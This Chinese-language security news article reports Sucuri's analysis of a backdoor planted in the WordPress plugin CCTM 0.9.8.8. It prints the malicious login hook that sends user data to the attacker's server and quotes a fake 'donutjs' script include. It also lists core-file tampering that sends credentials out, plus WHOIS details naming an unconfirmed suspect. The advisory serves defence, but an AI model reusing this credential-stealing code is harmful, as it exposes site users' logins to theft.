预计阅读时间: 8 分钟

据悉, Sucuri安全团队研究人员近日指出WordPress一款插件(自定义内容管理)CCTM存在后门。通过该后门,可以对WordPress上的核心文件进行篡改,以此记录并窃取感染站点管理员用户的登录账号及密码。

Freebuf 百科

自定义内容管理( Custom Content Type Manager )插件的功能
自定义内容类型管理(CCTM)允许用户创建自定义内容类型(也称为文章类型),也可以对每个下拉菜单、复选框和图像甚至于其他元素,提供标准化的自定义区域,这赋予了WordPress内容管理的功能。这个插件还允许导出和导入用户的内容定义,使得它易于在多个站点之间保证类似的结构。
假如想为博客添加一个单独的部分来发表电影评论。通过使用自定义文章类型,你可以创建一种新的文章类型,就像文章(posts)和页面(pages)一样,它可以包含一组不同的数据。比如新的管理菜单、专门的编辑页面、自定义分类 和 更多实用的发布管理功能。自定义文字类型 拥有新的文章管理选项,就像默认的文章类型(文章、页面、附件 )一样。一种 自定义文章类型 可以存储各种各样的信息。它有专门的编辑器、多媒体上传 并使用WordPress现有的表结构,便于数据管理。

后门的发现

此事件是由Sucuri安全团队(一个专门提供web安全服务的团队)首次进行追踪分析的。据Sucuri安全研究人员提到,

一开始他们是在其客户处发现一个命名奇怪的文件 (auto-update.php),而起初并没发现有可疑行为,直到该插件进行更新的时候。

Sucuri安全团队提到当他们在为客户 清除一个感染站点时,发现了一个可疑的文件auto-update.php,该文件是被存放在wp-content/plugins/custom-content-type-manager/.的路径下。具体如下图,

据研究分析,该后门程序,能从一个地址为 http://wordpresscore.com/plugins/cctm/update/ 的服务端下载文件,并将它们保存为.php格式存放在插件配置目录下
该插件既是上述提到的 Custom Content Type Manager (CCTM),在过去三年里该插件主要用于创建自定义文章类型,现在已经积累了一定的用户数量,据初步统计目前已经在超过10,000个站点上安装了该插件。

插件疑云,神秘的管理者

从 Sucuri安全团队两个星期的调查来看,该插件在过去的10个月将近一年看起来像一个被放弃的项目,并无任何更新,然而近期神秘地更换了管理者。而该名名为wooranker的新开发者随后更新了插件,发布了一个新的版本。
我们在官方插件目录中找到的每一个WordPress插件,都是通过子版本存储库进行升级的。在问题跟踪系统的帮助下,任何人都可以使用该存储库去搜索相应的信息(包括像对象,时间以及变更事项等)在任意插件的任意版本中。比如,下图为近期CCTM更改的情况,

我们可以从上面截图看到,其中的一次更改是于2016年2月18日增加了auto-update.php文件。在此次更新中,“wooranker”改动并增加了下面的描述信息,

“新管理者的小改动”(保留原始语法)

实际上,从上述截图中我们可以看到,两个星期前该插件仍然由fireproofsocks在维持更新,但之后其中的一项变动的描述为“将wooranker增添到readme中”,再到后面就变成wooranker在对该插件进行更新了。
或许该插件开发者已经对其失去兴趣,又或者受雇于wooranker。另一方面,因为实际上fireproofsocks已经将近一年没对该插件进行更新了,我们也推测是否 wooranke入侵了fireproofsocks的账户,随后增添了自身作为新的管理者。
此外,在2016年2月5日,wooranker也同时加入到 Postie 插件项目中。而其在Postie 插件项目的变动都为合法可查的,并且都由 Postie 插件的初始发起人同意。这一切看起来却有点令人摸不清头脑。那么接下来让我们来看看更新的恶意CCTM插件及wooranker 如何使用它入侵站点的。

自定义内容管理(CCTM)插件 0.9.8.8 版本存在恶意代码

而该名开发者对于更新的版本赋予了其新的“使命”。首先,新的版本如上述所看到的,增加了auto-update.php的文件,而据研究分析,该文件可从远程的服务器下载指定文件到受感染的站点。
通过Trac我们也看到了(于2月19日最后更新)。它增加了/includes/CCTM_Communicator.php文件( 该文件会与auto-update.php联合运行,其主要的任务为ping wooranker的服务器端从而使得服务器能记录新感染的站点IP地址等信息。 )以及将下述的代码段插入到插件的index.php文件中。

// Send plugin information when user login
function _wp_login_eventhandler($user_login, $user) {
require_once('includes/CCTM_Communicator.php');
$_objCCTMCom = new CCTM_Communicator();
$_objCCTMCom->addInfo(array($user_login, $user));
$_objCCTMCom->send_info();
}
add_action('wp_login', '_wp_login_eventhandler', 10, 2);

具体更改如下图,

该段代码作用为每当用户登录到WordPress站点时,将站点及用户的信息发送到wooranker的服务器( wordpresscore .com )上。

攻击路径重演

通过在受感染的站点上访问登陆,实现对攻击的回溯。
于2月28日,从源地址104.131.27.120发起了尝试使用Python脚本 (“python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-79-generic“)登录到WordPress。该站点的地址明显地通过新的CCTM_Communicator功能来获取的。
根据对受感染站点的监测,某次 wooranker企图登陆到一个受感染的站点,但由于站点管理员更改了登陆的URL,所以 wooranker未能成功入侵站点。随后看到尝试登陆受阻,wooranker也随即更改了策略。其利用auto-update.php后门,强制目标站点下载并安装另外一个名为c.php的文件,该文件主要用于创建另一名为wp-options.php的文件。后者主要用于篡改WordPress的核心文件。据研究发现,遭受篡改的主要有三个文件,

1、wp-login.php,将管理员用户的登录凭证发送至hxxp://wordpresscore .com/in/login/index.php;
2、wp-admin/user-new.php,窃取新创建的用户登录凭证,并将之发送至hxxp://wordpresscore .com/in/add-user/index.php;
3、wp-admin/user-edit.php,当用户修改密码时,窃取相关登录凭证,并将之发送到hxxp://wordpresscore .com/in/pass-change/index.php。

某些用户已自动更新至带有恶意代码的插件版本

上述的这些功能已被合并进CCTM(自定义内容类型管理)插件,版本为0.9.8.8,而目前已经有许多用户安装该版本,或者自动更新到他们的站点。
该名黑客针对核心WordPress文件的篡改,使得其能够控制用户登录、创建和编辑命令,同时在用户数据被加密之前将之拦截,并将用户的明文密码发送至服务器端。此外,wp-options.php甚至能在受感染的站点上创建管理员账户,一般以support为账户 / support@wordpresscore.com为邮箱进行创建。
综上的情况,wooranker可在所有受感染的站点上拥有管理员账户,当用户访问站点进行登录时,使用什么密码也会被通知到wooranker。

黑客的真正身份?

当我们在分析确认黑客身份的时候,还发现了插件更新上的一个变化。在wooranker获取插件管理者权限后,首先就是将donutjs(据其“官网”显示,其为js轻量级框架)引用到includes/CCTM.php文件中。
wp_enqueue_script(‘donutjs’, ‘//donutjs.com/jquery.js’ );

可能对于很多人来说,几乎都没听过donutjs,甚至当你在搜索引擎上搜索的时候,也不会出现相关信息的检索结果。而根据分析检索,从其“官网”获知donutjs是一个轻量级的框架,主要是为开发js应用提供支持,据其官网所称,其主要对标的是 jQuery。以下为其官网的地址( donutjs )及宣传。

与 jQuery语法的对比,举例如下图
1、淡出元素并删除

2、调用ajax

而经过分析发现,上述提到的donutjs .com/jquery.js返回的信息却是为,

该代码段也是用于收集记录站点地址的。
接着我们还发现,wooranker实际上还掌控着donutjs .com的权限。当我们进行whois时,返回结果如下,
wordpresscore .com

创建时间: 2015-11-23
注册姓名: Vishnudath Mangilipudi
管理员所在地: Andhra Pradesh
邮政编码: 524201
管理员所在国家: IN
管理员电话: +91.8985005295
DNS服务器:
NS1.DIGITALOCEAN.COM
NS2.DIGITALOCEAN.COM
NS3.DIGITALOCEAN.COM

donutjs .com

注册姓名: vishnudath
管理员所在国家: IN
管理员电话: +91.8985005295

其实在这里,就可以看出donutjs应该就是wooranker用以辅助收集站点信息之用,所伪造出来的js框架。
至于,从whois上的信息,我们可以发现,恶意代码中wordpresscore .com域名的实际拥有者是一名来自印度,名为Mangilipudi的开发者。但Sucuri安全团队尚不能确认Mangilipudi便是幕后的黑客,因为网络上个人身份信息可以被轻易窃取并伪造。而作为wooranker,如先前所述,他也是另外一个WordPress 插件 Postie 的开发者和管理者,但Sucuri指出Postie目前仍然被最早的发起人管理着,并也没在其中发现恶意代码。所以,针对黑客的真正身份,目前仍在分析。

建议

1、停用CCTM 插件;
2、检查所有的核心WordPress 文件,当然,用户除了可以重新安装WordPress达到该目的,至少应该确认以下三个文件是否遭受篡改,我们可以从以下地址获取初始文件,请点击: wordpress.org

(1) ./wp-login.php
(2) ./wp-admin/user-edit.php
(3) ./wp-admin/user-new.php

3、修改WordPress上所有用户的密码;
4、删除WordPress上无法识别的用户账号,特别是包含support@wordpresscore .com邮箱信息的账户。
5、如果确实需要在站点中维持CCTM插件,那么建议使用稳定版本0.9.8.6(版本0.9.8.7 已经发现有一个安全漏洞)。

此文章对你有帮助吗? 已有 0 人说这篇文章是有用的。